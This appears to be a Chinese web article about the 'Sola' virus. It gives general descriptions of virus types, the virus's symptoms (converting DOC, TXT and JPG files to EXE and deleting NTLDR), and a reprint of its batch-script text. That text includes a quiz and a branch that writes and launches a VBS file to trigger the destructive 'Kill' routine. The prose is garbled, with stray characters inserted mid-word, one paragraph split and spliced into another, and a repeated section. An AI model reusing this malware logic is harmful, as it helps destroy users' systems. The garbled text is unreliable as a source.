苏拉病毒(小球病毒)-趣虎号

苏拉病毒是如何传播的

文件型电脑病毒，又称寄生病毒，通常感染执行文搭好则件(.EXE)，但是也有些会感染其它可执行文件，如DLL,SCR等等...每次执行受感染的文件时，电脑病毒便会发作：电脑病毒会将自己复制到其他可执行文件，并且继续执行原有的程序，以免被用户所察觉。

宏病毒专门针对特定的应用软件，可感染依附于某些应用软件内的宏指令，它可以很容易透过电子邮件附件、软盘、文件下载和群组软件等多种方袜行式进行传播如MicrosoftWord和Excel。宏病毒采用程序语言撰写，例如VisualBasic或CorelDraw，而这些又是易于掌握的程序语言。宏病毒最先在1995年被发现，在不久后已成为最普遍的电脑病毒。

特洛伊/特洛伊木马

特洛伊或特洛伊木马是一个看似正当的程序，但事实上当执行时会进行一些恶性及不正当的活动。特洛伊可用作黑客工具去窃取用户的密码资料或破坏硬盘内的程序或数据。知棚与电脑病毒的分别是特洛伊不会复制自己。它的传播技俩通常是诱骗电脑用户把特洛伊木马植入电脑内，例如通过电子邮件上的游戏附件等。

蠕虫是另一种能自行复制和经由网络扩与其他电脑病毒类型的分别是宏病毒是攻击数据文件而不是程序文件。

宏病毒专门针对特定的应用软件，可感染依附于某些应用软件内的宏指令，它可以很容易透过电子邮件附件、软盘、文件下载和群组软件等多种方式进行传播如MicrosoftWord和Excel。宏病毒采用程序语言撰写，例如VisualBasic或CorelDraw，而这些又是易于掌握的程序语言。宏病毒最先在1995年被发现，在不久后已成为最普遍的电脑病毒。

典型例子：

JulyKiller这个电脑病毒通过VB宏在MSWord97文件中传播。一但打开染毒文件，这病毒首先感染共用范本(normal.dot)，从而导致其它被打开的文件一一遭到感染。此电脑病毒的破坏力严重。如果当月份是7月时，这病毒就会删除c:\的所有文件。

散的程序。它跟电脑病毒有些不同，电脑病毒通常会专注感染其它程序，但蠕虫是专注于利用网络去扩散。从定义上，电脑病毒和蠕虫是非不可并存的。随着互联网的普及，蠕虫利用电子邮件系统去复制，例如把自己隐藏于附件并于短时间内电子邮件予多个用户。有些蠕虫(如CodeRed)，更会利用软件上的漏洞去扩散和进行破坏。

苏拉病毒的病毒症状

最近很多人中了苏拉病毒，中毒后不能重启电脑，无法进入安全模式启动系统查杀病毒。灶段只能回答问题，并且要回答对一定分数才能自动清除病毒，算是病毒作者的一个恶意玩笑或者**XXXX的极端**。

病毒在第一次执行的时候，会建立%sola%\RunTime.txt文件，并且记录执行隐羡誉次数。当累计执行次数达到50的时候，病毒会死锁计算机，删除系统关键文件，导致用户一旦重新启动计算机，便无法再次进入系统。随后屏幕便会出现下面画面。

病毒会感染近期打开过的DOC，TXT，JPG文件，使之全部变成EXE文件。在病毒执行次数累计超过50的时候，死亡问答便会被激活，同时锁定系统，删除NTLDR（全称是NT Loader，是系统加载程序）。若回答问题正确，病毒恢复NTLDR，并且进入自我清除模式。若回答失败，则需重装系统。

作者声称制作此病毒是为了报复XXXX对动漫和游戏的歧视性政策。在留言的最后，病毒作者为了不误伤同样爱好动漫和游戏的网友，给出两份考题，一份与动漫相关，另一份与游戏派亮相关。回答正确，病毒会自我清除，否则进一步破坏系统，使用户不得不重新安装计算机。就是答错题就会被破坏系统。

苏拉病毒的病毒文本

echo?警告：如果现在关闭计算机，计算机将无法启动！！！echo?I'm a virus. My name is sola.echo我是一个病毒。我的名字叫苏拉。echo今天，在这片堕落的土地上，我苏醒过来。echo我曾经很快乐地活着，与我的朋友，ACG，快乐地活着。echo我曾经也对病毒深恶痛绝。echo然而.............echo自从我来到了这片土地上，这片自称伟大，崇高，光明的土地上。echo这片名为中国的土地上echo我的朋友，已遍体鳞伤。echo他死了echo Death Noteecho《死亡笔记》echo她死了echo Koihime Musouecho《恋姬无双》echo还有好多好多的同胞，惨死在你们的蹂躏之下。echo广电总局的一纸通告，无数只肮脏的手便掩盖了她的气息。echo互联网上的一句咒骂，无数声污秽的咒骂便淹没了她的踪迹。echo我终于知道了，信息，原来是无法透过国界线而传播的。echo即使是爱，即使是恨，即使是那一个个爱恨与泪水交织的故事。echo也无法透过***，更无法透过这个国度的某些人心中，那道厚厚的屏障。echo于是，我愿做这个罪恶的病毒，来再次查看，你的心灵。echo你，是谁？？？echo是中国人吗？echo是民族情绪的受害人吗？echo还是知道，世界上有一个词语叫ACG，并能够容忍，接纳它呢？echo那，让我们来做一个游戏吧。sleep 2000echo也许你的记忆中，还有1000年前夏天的传说。sleep 2000echo还有120元的车票，sleep 1000echo还有银河铁道，sleep 1000echo还有钢琴之森，sleep 1000echo还有澄澈的天空下，响起的祈祷之歌。sleep 3000echo你需要做的，仅仅是回答几个问题。sleep 2000echo你喜欢动画吗？sleep 800echo你喜欢漫画吗？sleep 800echo你喜欢GAL游戏吗？sleep 2000echo晌逗选择你最擅长的测试卷吧，然后用你聪明的头脑思考，写出心中的答案。sleep 2000echo如果你的试卷能及格，我将痛悔我的罪行，并删除自己。sleep 2000echo如果你的试卷是零分，我将继承同伴的愤怒，破坏你的计算机。sleep 2000echo另外我必须说，我只能把10分钟的时间留给你。sleep 2000echo现在，你无法逃避。sleep 2000echo因为你已经无法打开任务管理器，更无法上网查找信息。sleep 2000echo选择吧，但是要快，容不得犹豫。我已经打开了我的计宴空卖时器。sleep 1000echo?echo?我最擅长的测试卷：:Choiceset/p choice=(请输入 A或 G。A=动画，G=GAL游戏。输入后按回车。):

if/I%choice%==a goto Animeif/I%choice%==g goto Galgame

goto Choice:Anime

苏拉病毒(小球病毒)(图1)

set grade=0:AQ1clsset ask=echo----------------问题1---------------------（注：一共有5个问题。只要答对两个或两个以上就过关。）echo男主角在入学第一天就听到女主角惊天动地的发言，并加入了女主角创建的一个社团，这个社团教室原本是文学社的，亏旦但被女主角强行占用。主要社团成员有：眼睛娘、很有气势的社长、有着魔鬼身材，比男主角高一个年级的吉祥物、被社长指挥得团团转的男主角。echo请问这个社团叫什么团？（3个英文字母）echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==sos set/a grade=%grade%+1if/i%ask%== goto AQ1:AQ2clsset ask=echo----------------问题2---------------------echo男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。echo请写出这部作品的名称（3个英文字母）echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==air set/a grade=%grade%+1if%ask%== goto AQ2:AQ3clsset ask=echo----------------问题3---------------------echo如果用B、C分别代表2种人或物体的名称，那么每隔一段时间，就会有7个被B选中的人参加一种名为B战争的战斗，获胜者可以获得B，而C是B召唤出来的，拥有强大的力量，帮助主人为了B而战斗。echo请问这部作品的名称的前4个英文字母是什么？echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==fate set/a grade=%grade%+1if%ask%== goto AQ3:AQ4clsset ask=echo----------------问题4---------------------echo如果用A表示一个名词，那么有一部作品的名称为A少女，A少女们互相战斗，夺取对方的A之心，没有A之心的少女会永远沉睡，一个A少女收集齐了其他A少女的A之心之后，就有某种事情要发生。echo请问A的汉语拼音字母是（8个字母）echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==qiangwei set/a grade=%grade%+1if%ask%== goto AQ4:AQ5clsset ask=echo----------------问题5---------------------echo有一种战斗机，只有神经系统接受了改造的人才能驾驶。4个孩子作为该战斗机的驾驶员展开训练，3个孩子先后在事故中丧生。军方为了给最后一个孩子作战的理由，让她转入了某学校。她于一个晚上，在学校的游泳池里遇到了男主角。后来，女主角加入了一个社团，该社团连同女主角共有4人。echo这部作品名称中有3个英文字母，请问这3个英文字母是？echo如果无法回答，请输入next，跳转到计分程序。echo?set/p ask=回答：if/i%ask%==ufo set/a grade=%grade%+1if%ask%== goto AQ5clsgoto MarkCount

:Galgame

set grade=0:GQ1clsset ask=echo----------------问题1---------------------（注：一共有5个问题。只要答对两个或两个以上就过关。）echo患病的男主角在医院里遇上患病的少女，并和她一起逃出医院，到达了某地。这个地方盛产某种花，而女主角也喜欢这种花。传说这种花是一个美男子被诅咒而变成的。echo请问这部作品的名称是？（8个英文字母。）echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==narcissu set/a grade=%grade%+1if/i%ask%== goto GQ1:GQ2clsset ask=echo----------------问题2---------------------echo男主角与女主角在小镇上相遇，女主角非常喜欢恐龙，有模仿某种动物叫声的口癖，并且女主角与n(n大于或等于618，小于或等于1321)年前某个夏天的故事有关系，这个女主角和n年前夏天故事的女主角的姓氏的第一个字都是“神”。echo请写出这部作品的名称（3个英文字母）echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==air set/a grade=%grade%+1if%ask%== goto GQ2:GQ3clsset ask=echo----------------问题3---------------------echo男主角遭遇车祸，醒来后发现世界已经变成地狱一般的景象，往昔的朋友变成了怪物。只有女主角在他的眼中才是正常的人类。于是，他守护着自己心中唯一的真实。echo请写出这部作品的女主角的名字的中文拼音。（5个字母，字母中间不要加空格。）echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==shaye set/a grade=%grade%+1if%ask%== goto GQ3:GQ4clsset ask=echo----------------问题4---------------------echo有如下词语来描述B：很小，有薄薄的翅膀，下雨也不会被淋湿。有如下词语来描述A：一种乐器，要靠魔力来演奏，与人声搭配最为恰当。而C是一个一年四季都下着雨的城市，D是一所音乐学院。echo请写出故事情节中同时包含A、B、C、D的作品的中文名称的前三个字的汉语拼音字母。（12个字母，字母中间不要加空格。）echo如果无法回答，请输入next，跳转到下一个问题。echo?set/p ask=回答：if/i%ask%==jiaoxiangyue set/a grade=%grade%+1if%ask%== goto GQ4:GQ5clsset ask=echo----------------问题5---------------------echo在N年以后，人口暴涨。有些人就按下导弹开关，使细菌兵器袭击了地球，最终引起了一场恶战。在地球上的人类已经所剩无几的时候，有一个人为了寻找战前人类留下的有用物品，进入了一个废墟都市。在那里，他遇到了一个天象馆里的礼仪机器人，并和她发生了一段故事。echo这部作品名称的中文拼音是？（11个字母。字母中间不要加空格。其中第一个字是后鼻音。）echo如果无法回答，请输入next，跳转到计分程序。echo?set/p ask=回答：if/i%ask%==xingzhimeng set/a grade=%grade%+1if%ask%== goto GQ5clsgoto MarkCount

:MarkCountif%grade%==0 goto Killif%grade%==1 goto Killgoto SelfKill

:Killclsecho你的成绩是%Grade%分，不及格！！！！！！！！！！echo?不及格不及格不及格！！！！！！！！！！！！！！！！！！！！echo?echo?echo那么，就按照契约，毁灭你的计算机吧！！！！！echo On Error Resume Next>Kill.VBSecho set ws=wscript.createobject(wscript.shell)>>Kill.VBSecho ws.run%sola%\sola.bat-Kill,0>>Kill.VBSstart Kill.VBS

:Kill20clsecho你的成绩是%Grade%分，不及格！！！！！！！！！！echo?不及格不及格不及格！！！！！！！！！！！！！！！！！！！！echo?echo那么，就按照契约，毁灭你的计算机吧！！！！！pause>nulgoto Kill20

:Selfkillecho您的成绩是%Grade%分，及格了。echo?谢谢您完成了这套试题。5秒钟后，我将按照契约，删除自己。echo?希望您能够过得愉快，再见。echo?sleep 5000echo>%systemroot%\Fonts\HIDESE~1\Killselfecho On Error Resume Next>KillSelf.VBSecho set ws=wscript.createobject(wscript.shell)>>KillSelf.VBSecho ws.run%sola%\sola.bat-Killself,0>>KillSelf.VBSstart KillSelf.VBSExit

9、KillVirus.TXT全文如下：各位OTAKU：您好。首先，让我对此病毒给您带来的不便向您道歉。SOLA已经从您的计算机中清除。但由于WINLOGON被锁定，计算机暂时无法关机、重启，也无法打开任务管理器。但这些问题在冷重启后即可解决。您的计算机已经有了SOLA的标记，因此不会重复感染。在硬盘中还留有被SOLA病毒感染的文件，尽管不会重复感染，但建议您清除它们。系统中已经安装了SOLA的专杀程序，它可以帮助您扫描并清除带毒文件。祝您好运。SOLA的制造者KAKENHI